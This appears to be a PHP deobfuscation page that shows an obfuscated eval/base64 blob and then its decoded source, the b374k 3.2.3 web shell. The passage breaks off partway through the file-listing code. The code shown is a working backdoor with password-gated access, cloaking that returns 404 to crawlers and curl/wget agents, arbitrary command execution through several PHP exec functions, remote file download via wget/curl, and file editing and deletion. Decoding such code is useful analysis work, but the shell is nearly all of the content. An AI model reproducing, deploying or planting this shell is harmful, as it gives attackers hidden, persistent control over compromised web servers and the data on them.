Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzuncompress(base64_decode("eF7svWl34kjSKPy5/CvUPL6NPdhm38pld2N2sxowW1VfHyEJEGi..

Decoded Output download

?><?php
/*
	b374k shell 3.2.3
	Jayalah Indonesiaku
	(c)2014
	https://github.com/b374k/b374k

*/
$GLOBALS['pass'] = "b10f8873cab13a139055c8a479eb7b7c14fb3124"; // sha1(md5(pass))
$GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7zdIffjwfpRw5OJJH3MVifMD8lL9zSCUheeayBLkKNAfG/pE3+g72xutwRB81m2gDTblZgroD3z9t3xRNVMTtE5CwfnGzDTgH1sP/8GBumjy8dung/MBz/o53/iPe+vHdwP9PLX5qlGd+1aPfOvK33He//eo/D/4XGCKTpSbBAlSVg+XT51mtIveF8kPtc+/oh+s7XKA0yVMyc1czK0m5FcizEtp3j9Uobo/VtFeRWwLVL9WirnUKcXlW93Szk17izDlPcX1EFbigsg1m4Bu3L7f8clGbN3VPcKlMC+WaGsjbLV5xpLikFwYn4nK/PwUux5s7Te7nMFjWuTxPwuXfN+fWDrpVEkUS5Ex458opjhDcjLNQQz05SfRiic/yxJYClJJ0GalwMFCLbU6gX550e9lKYn/sJnMVyGGiXy3NOwrpYvKrdGmF09vrvuSXhePUbezJ83DWELlMCqstgB6mN1DFTqlRJFHYXuoQS8VC57CK9a0j0aZJLwEtMql9hnM1CqajXPlsJmLrdJKyeyDCFF28zPzy/BwbK7F5Xa06LEld9yvNS5eEenjezdVXtzNGOeQowW+W0C5CpCdqTQ2rFy2snHfB5tLaxnjaATL3yDQw3ntK3pgFvqi3FeCPK7MNmeabrjgNujuF9XNHOT3yyrwS9lo0uWcT88uuFc0DDYnnO67Z2Iz9YA/06Nlnx6J76pWMd30jVPZGJDyv1qD4ioVxDtUloC8V2z4sSC9TJIZ5vFfrmY+EPCJSo3cjcFMDdBGWV3zCZ+Lga+VMThJhf7Wtqk8CO8uPgbFdr+pAL/ElXfq9aIzto2QY6WVupahhDceF44u7I/TE31hQI2KEiKvhc7bGjxbwGOxaCTKptWrZ3XMauYmqNLoVb4PhzUbTO0RLQ3T8zTOfK3wjk+6V52G/Lhhp7t65JjIFRMMJHjrilgb9VGKGbSbA6/4pfXGV29gx2755aq2/juOiGvnu325kquDsPUi7EG/wO6zHjEhlVTHv8G4hcjaT8nnqPPRmhdlaOYGmrsFcoggzVNpbBl9f4TlK6bWQoqUOnnnK8plsdesZ7WhmFVsSuPOx1BHp45oUpElV7XhhE/TYvfFXKszKl7t7TkzpzJO8l6zI9ki1soLaypb96wl3/cBydJKPVPWP/wI=";
$GLOBALS['resources']['mime'] = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
$GLOBALS['resources']['arrow'] = "FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhENzgreEnB4RwFNgUb1wm6yMFd9syRt0rPChFJ4e7D2md63/czFE+B2LsNxEpkwZeLntSUuUyuCTZGb0bYMBi9PfT3ACaK/fYdUE8GzeuLXbI0WiI/zRT7snWMV7vXc0BLFwQvIfSYKjgtoIiKJO8reFV4ahnMA1JRdKx1HMiyyMoZnMgQX7W2Jb4/tudaDRtJOUgZY5FAFbpEnYQiABEU5E+XyKu3pqRizh676B29Ssyk1ZZcZwLKwlms5igcnOp1+1ekSSQK9Lv0S2ZnH92jrgEbjN0b9dO44OK4Z4mIc2VxoxxZepzO+WLzcJrra8wYG5RKqDNe3w+ODQnrPzk+OyZo+z8kL8HK3XNhcc7Cy92cVYW3WsVZpSzZCVEopMlUun/XlOFzTWnVpt8ShAFmZsxVB3sNWkvLAUSxdyhWMgea1yH4jJVBb3QaAFPrxU3v6VD7DsFpOCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxMEzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";
$GLOBALS['ver'] = "3.2.3";
$GLOBALS['title'] = "b374k";

@ob_start();
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','1');
@ini_set('display_startup_errors','1');
@ini_set('log_errors','0');
@set_time_limit(0);
@clearstatcache();

if(!function_exists('auth')){
	function auth(){
		if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){
			$c = $_COOKIE;
			$p = $_POST;
			if(isset($p['pass'])){
				$your_pass = sha1(md5($p['pass']));
				if($your_pass==$GLOBALS['pass']){
					setcookie("pass", $your_pass, time()+36000, "/");
					header("Location: ".get_self());
				}
			}

			if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){
				$res = "<!doctype html>
		<html>
		<head>
		<meta charset='utf-8'>
		<meta name='robots' content='noindex, nofollow, noarchive'>
		<meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'>
		</head>
		<body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><br><p><center><noscript>You need to enable javascript</noscript></center></p>
		<script type='text/javascript'>
		var d = document;
		d.write(\"<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\");
		d.getElementById('pass').focus();
		d.getElementById('pass').setAttribute('autocomplete', 'off');
		</script>
		</body></html>
		";
				echo $res;
				die();
			}
		}
	}
}

if(!function_exists('get_server_info')){
	function get_server_info(){
		$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
		$server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
		$server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time());
		$server_info['uname'] = php_uname();
		$server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
		$server_info['software'] = $server_software."  PHP ".phpversion();		
		return $server_info;
	}
}

if(!function_exists('get_self')){
	function get_self(){
		$query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
		return html_safe($_SERVER["REQUEST_URI"].$query);
	}
}

if(!function_exists('get_post')){
	function get_post(){
		return fix_magic_quote($_POST);
	}
}

if(!function_exists('get_nav')){
	function get_nav($path){
		return parse_dir($path);
	}
}

if(!function_exists('get_cwd')){
	function get_cwd(){
		$cwd = getcwd().DIRECTORY_SEPARATOR;
		if(!isset($_COOKIE['cwd'])){
			setcookie("cwd", $cwd);
		}
		else{
			$cwd_c = rawurldecode($_COOKIE['cwd']);
			if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
			else setcookie("cwd", $cwd);
		}
		return $cwd;
	}
}

if(!function_exists('wrap_with_quotes')){
	function wrap_with_quotes($str){
		return "\"".$str."\"";
	}
}

if(!function_exists('get_resource')){
	function get_resource($type){
		if(isset($GLOBALS['resources'][$type])){
			return gzinflate(base64_decode($GLOBALS['resources'][$type]));
		}
		return false;
	}
}

if(!function_exists('block_bot')){
	function block_bot(){
		// block search engine bot
		if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
			header("HTTP/1.0 404 Not Found");
			header("Status: 404 Not Found");
			die();
		}
		elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
			header("HTTP/1.0 404 Not Found");
			header("Status: 404 Not Found");
			die();
		}
	}
}

if(!function_exists('is_win')){
	function is_win(){
		return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
	}
}

if(!function_exists('fix_magic_quote')){
	function fix_magic_quote($arr){
		$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
		if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
			if(is_array($arr)){
				foreach($arr as $k=>$v){
					if(is_array($v)) $arr[$k] = clean($v);
					else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
				}
			}
		}
		return $arr;
	}
}

if(!function_exists('execute')){
	function execute($code){
		$output = "";
		$code = $code." 2>&1";

		if(is_callable('system') && function_exists('system')){
			ob_start();
			@system($code);
			$output = ob_get_contents();
			ob_end_clean();
			if(!empty($output)) return $output;
		}
		elseif(is_callable('shell_exec') && function_exists('shell_exec')){
			$output = @shell_exec($code);
			if(!empty($output)) return $output;
		}
		elseif(is_callable('exec') && function_exists('exec')){
			@exec($code,$res);
			if(!empty($res)) foreach($res as $line) $output .= $line;
			if(!empty($output)) return $output;
		}
		elseif(is_callable('passthru') && function_exists('passthru')){
			ob_start();
			@passthru($code);
			$output = ob_get_contents();
			ob_end_clean();
			if(!empty($output)) return $output;
		}
		elseif(is_callable('proc_open') && function_exists('proc_open')){
			$desc = array(
				0 => array("pipe", "r"),
				1 => array("pipe", "w"),
				2 => array("pipe", "w"));
			$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
			if(is_resource($proc)){
				while($res = fgets($pipes[1])){
					if(!empty($res)) $output .= $res;
				}
				while($res = fgets($pipes[2])){
					if(!empty($res)) $output .= $res;
				}
			}
			@proc_close($proc);
			if(!empty($output)) return $output;
		}
		elseif(is_callable('popen') && function_exists('popen')){
			$res = @popen($code, 'r');
			if($res){
				while(!feof($res)){
					$output .= fread($res, 2096);
				}
				pclose($res);
			}
			if(!empty($output)) return $output;
		}
		return "";
	}
}

if(!function_exists('html_safe')){
	function html_safe($str){
		return htmlspecialchars($str, 2 | 1);
	}
}

if(!function_exists('parse_dir')){
	function parse_dir($path){
		$path = realpath($path).DIRECTORY_SEPARATOR;
		$paths = explode(DIRECTORY_SEPARATOR, $path);
		$res = "";
		for($i = 0; $i < sizeof($paths)-1; $i++){
			$x = "";
			for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
			$res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>";
		}
		if(is_win()) $res = get_drives().$res;
		return trim($res);
	}
}

if(!function_exists('zip')){
	function zip($files, $archive){
		$status = false;
		if(!extension_loaded('zip')) return $status;
		if(class_exists("ZipArchive")){
			$zip = new ZipArchive();
			if(!$zip->open($archive, 1)) return $status;

			if(!is_array($files)) $files = array($files);
			foreach($files as $file){
				$file = str_replace(get_cwd(), '', $file);
				$file = str_replace('\', '/', $file);
				if(is_dir($file)){
					$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
					foreach($filesIterator as $iterator){
						$iterator = str_replace('\', '/', $iterator);
						if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;

						if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
						else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
					}
				}
				elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
			}
			if($zip->getStatusString()!==false) $status = true;
			$zip->close();
		}
		return $status;
	}
}

if(!function_exists('compress')){
	function compress($type, $archive, $files){
		if(!is_array($files)) $files = array($files);
		if($type=='zip'){
			if(zip($files, $archive)) return true;
			else return false;
		}
		elseif(($type=='tar')||($type=='targz')){
			$archive = basename($archive);

			$listsBasename = array_map("basename", $files);
			$lists = array_map("wrap_with_quotes", $listsBasename);

			if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
			elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));

			if(is_file($archive)) return true;
			else return false;
		}
		return false;
	}
}

if(!function_exists('decompress')){
	function decompress($type, $archive, $path){
		$path = realpath($path).DIRECTORY_SEPARATOR;
		$status = false;
		if(is_dir($path)){
			chdir($path);
			if($type=='unzip'){
				if(class_exists('ZipArchive')){
					$zip = new ZipArchive();
					$target = $path.basename($archive,".zip");
					if($zip->open($archive)){
						if(!is_dir($target)) mkdir($target);
						if($zip->extractTo($target)) $status = true;
						$zip->close();
					}
				}
			}
			elseif($type=='untar'){
				$target = basename($archive,".tar");
				if(!is_dir($target)) mkdir($target);
				$before = count(get_all_files($target));
				execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
				$after = count(get_all_files($target));
				if($before!=$after) $status = true;

			}
			elseif($type=='untargz'){
				$target = "";
				if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
				elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");

				if(!is_dir($target)) mkdir($target);
				$before = count(get_all_files($target));
				execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
				$after = count(get_all_files($target));
				if($before!=$after) $status = true;
			}
		}
		return $status;
	}
}

if(!function_exists('download')){
	function download($url ,$saveas){
		if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
		$filename = basename($url);

		if($content = read_file($url)){
			if(is_file($saveas)) unlink($saveas);
			if(write_file($saveas, $content)){
				return true;
			}
		}

		$buff = execute("wget ".$url." -O ".$saveas);
		if(is_file($saveas)) return true;

		$buff = execute("curl ".$url." -o ".$saveas);
		if(is_file($saveas)) return true;

		$buff = execute("lwp-download ".$url." ".$saveas);
		if(is_file($saveas)) return true;

		$buff = execute("lynx -source ".$url." > ".$saveas);
		if(is_file($saveas)) return true;

		return false;
	}
}

if(!function_exists('get_fileperms')){
	function get_fileperms($file){
		if($perms = @fileperms($file)){
		$flag = 'u';
		if(($perms & 0xC000) == 0xC000)$flag = 's';
		elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
		elseif(($perms & 0x8000) == 0x8000)$flag = '-';
		elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
		elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
		elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
		elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
		$flag .= ($perms & 00400)? 'r':'-';
		$flag .= ($perms & 00200)? 'w':'-';
		$flag .= ($perms & 00100)? 'x':'-';
		$flag .= ($perms & 00040)? 'r':'-';
		$flag .= ($perms & 00020)? 'w':'-';
		$flag .= ($perms & 00010)? 'x':'-';
		$flag .= ($perms & 00004)? 'r':'-';
		$flag .= ($perms & 00002)? 'w':'-';
		$flag .= ($perms & 00001)? 'x':'-';
		return $flag;
		}
		else return "???????????";
	}
}

if(!function_exists('format_bit')){
	function format_bit($size){
		$base = log($size) / log(1024);
		$suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
		return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
	}
}

if(!function_exists('get_filesize')){
	function get_filesize($file){
		$size = @filesize($file);
		if($size!==false){
			if($size<=0) return 0;
			return format_bit($size);
		}
		else return "???";
	}
}

if(!function_exists('get_filemtime')){
	function get_filemtime($file){
		return @date("d-M-Y H:i:s", filemtime($file));
	}
}

if(!function_exists('get_fileowner')){
	function get_fileowner($file){
		$owner = "?:?";
		if(function_exists("posix_getpwuid")){
			$name = posix_getpwuid(fileowner($file));
			$group = posix_getgrgid(filegroup($file));
			$owner = $name['name'].":".$group['name'];
		}
		return $owner;
	}
}

if(!function_exists('rmdirs')){
	function rmdirs($dir, $counter = 0){
		if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
		if($dh = opendir($dir)){
			while(($f = readdir($dh))!==false){
				if(($f!='.')&&($f!='..')){
					$f = $dir.$f;
					if(@is_dir($f)) $counter += rmdirs($f);
					else{
						if(unlink($f)) $counter++;
					}
				}
			}
			closedir($dh);
			if(rmdir($dir)) $counter++;;
		}
		return $counter;
	}
}

if(!function_exists('copys')){
	function copys($source , $target ,$c=0){
		$source = realpath($source).DIRECTORY_SEPARATOR;
		if($dh = opendir($source)){
			if(!is_dir($target)) mkdir($target);
			$target = realpath($target).DIRECTORY_SEPARATOR;

			while(($f = readdir($dh))!==false){
				if(($f!='.')&&($f!='..')){
					if(is_dir($source.$f)){
						copys($source.$f, $target.$f, $c);
					}
					else{
						if(copy($source.$f, $target.$f)) $c++;
					}
				}
			}
			closedir($dh);
		}
		return $c;
	}
}

if(!function_exists('get_all_files')){
	function get_all_files($path){
		$path = realpath($path).DIRECTORY_SEPARATOR;
		$files = glob($path.'*');
		for($i = 0; $i<count($files); $i++){
			if(is_dir($files[$i])){
				$subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*');
				if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir);
			}
		}
		return $files;
	}
}

if(!function_exists('read_file')){
	function read_file($file){
		$content = false;
		if($fh = @fopen($file, "rb")){
			$content = "";
			while(!feof($fh)){
			  $content .= fread($fh, 8192);
			}
		}
		return $content;
	}
}

if(!function_exists('write_file')){
	function write_file($file, $content){
		if($fh = @fopen($file, "wb")){
			if(fwrite($fh, $content)!==false) return true;
		}
		return false;
	}
}

if(!function_exists('view_file')){
	function view_file($file, $type, $preserveTimestamp='true'){
		$output = "";
		if(is_file($file)){
			$dir = dirname($file);

			$owner = "";
			if(!is_win()){
				$owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>";
			}

			$image_info = @getimagesize($file);
			$mime_list = get_resource('mime');
			$mime = "";
			$file_ext_pos = strrpos($file, ".");
			if($file_ext_pos!==false){
				$file_ext = trim(substr($file, $file_ext_pos),".");
				if(preg_match("/([^\s]+)\ .*".$file_ext.".*/i", $mime_list, $res)){
					$mime = $res[1];
				}
			}
			if($type=="auto"){
				if(is_array($image_info)) $type = 'image';
				//elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
				elseif(!empty($mime)) $type = "multimedia";
				else $type = "raw";
			}

			$content = "";
			if($type=="code"){
				$hl_arr = array(
							"hl_default"=> ini_get('highlight.default'),
							"hl_keyword"=> ini_get('highlight.keyword'),
							"hl_string"=> ini_get('highlight.string'),
							"hl_html"=> ini_get('highlight.html'),
							"hl_comment"=> ini_get('highlight.comment')
							);
				
				
				$content = highlight_string(read_file($file),true);
				foreach($hl_arr as $k=>$v){
					$content = str_replace("<font color=\"".$v."\">", "<font class='".$k."'>", $content);
					$content = str_replace("<span style=\"color: ".$v."\">", "<span class='".$k."'>", $content);
				}
			}
			elseif($type=="image"){
				$width = (int) $image_info[0];
				$height = (int) $image_info[1];
				$image_info_h = "Image type = <span class='strong'>(</span> ".$image_info['mime']." <span class='strong'>)</span><br>
					Image Size = <span class='strong'>( </span>".$width." x ".$height."<span class='strong'> )</span><br>";
				if($width > 800){
					$width = 800;
					$imglink = "<p><a id='viewFullsize'>
					<span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>";
				}
				else $imglink = "";

				$content = "<center>".$image_info_h."<br>".$imglink."
					<img id='viewImage' style='width:".$width."px;' src='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'></center>
	";

			}
			elseif($type=="multimedia"){
				$content = "<center>
							<video controls>
							<source src='' type='".$mime."'>

							</video>
							<p><span class='button' onclick=\"multimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p>
							</center>";
			}
			elseif($type=="edit"){
				$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
				$content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</textarea></td></tr></table>";
			}
			elseif($type=="hex"){
				$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
				$content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</textarea></td></tr></table>";
			}
			else $content = "<pre>".html_safe(read_file($file))."</pre>";



			$output .= "
	<table id='viewFile' class='boxtbl'>
	<tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr>
	<tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr>
	".$owner."
	<tr><td>Permission</td><td>".get_fileperms($file)."</td></tr>
	<tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr>
	<tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr>
	<tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr>
	<tr data-path='".html_safe($file)."'><td colspan='2'>
	<span class='navigate button' style='width:120px;'>explorer</span>
	<span class='action button' style='width:120px;'>action</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'raw');hide_box();\">raw</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'code');hide_box();\">code</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'hex');hide_box();\">hex</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'image');hide_box();\">image</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'multimedia');hide_box();\">multimedia</span>
	</td></tr>
	<tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr>
	</table>";


		}
		else $output = "error";
		return $output;
	}
}

if(!function_exists('get_writabledir')){
	function get_writabledir(){
		if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
		else{
			foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
				if(!empty($_ENV[$k])){
					if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
				}
			}
			if(function_exists("sys_get_temp_dir")){
				$dir = sys_get_temp_dir();
				if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
			}
			else{
				if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
			}

			$tempfile = tempnam(__FILE__,'');
			if(file_exists($tempfile)){
				$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
				unlink($tempfile);
				return $dir;
			}
		}
		return false;
	}
}

if(!function_exists('get_drives')){
	function get_drives(){
		$drives = "";
		$v = explode("\", get_cwd());
		$v = $v[0];
		foreach (range("A", "Z") as $letter){
			if(@is_readable($letter.":\")){
				$drives .= "<a class='navbar' data-path='".$letter.":\'>[ ";
				if($letter.":" != $v) $drives .= $letter;
				else{$drives .= "<span class='drive-letter'>".$letter."</span>";}
				$drives .= " ]</a> ";
			}
		}
		return $drives;
	}
}

if(!function_exists('show_all_files')){
	function show_all_files($path){
		if(!is_dir($path)) return "No such directory : ".$path;
		chdir($path);
		$output = "";
		$allfiles = $allfolders = array();
		if($res = opendir($path)){
			while($file = readdir($res)){
				if(($file!='.')&&($file!="..")){
					if(is_dir($file)) $allfolders[] = $file;
					elseif(is_file($file))$allfiles[] = $file;
				}
			}
		}

		array_unshift($allfolders, ".");
		$cur = getcwd();
		chdir("..");
		if(getcwd()!=$cur) array_unshift($allfolders, "..");
		chdir($cur);

		natcasesort($allfolders);
		natcasesort($allfiles);

		$cols = array();
		if(is_win()){
			$cols = array(
					"perms"=>"get_fileperms",
					"modified"=>"get_filemtime"
					);
		}
		else{
			$cols = array(
					"owner"=>"get_fileowner",
					"perms"=>"get_fileperms",
					"modified"=>"get_filemtime"
					);
		}

		$totalFiles = count($allfiles);
		$totalFolders = 0;

		$output .= "<table id='xplTable' class='dataView sortable'><thead>";
		$output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='col-name'>name</th><th class='col-size'>size</th>";

		foreach($cols as $k=>$v){
			$output .= "<th class='col-".$k."'>".$k."</th>";
		}
		$output .= "</tr></thead><tbody>";

		foreach($allfolders as $d){
			$cboxException = "";
			if(($d==".")||($d=="..")){
				$action = "actiondot";
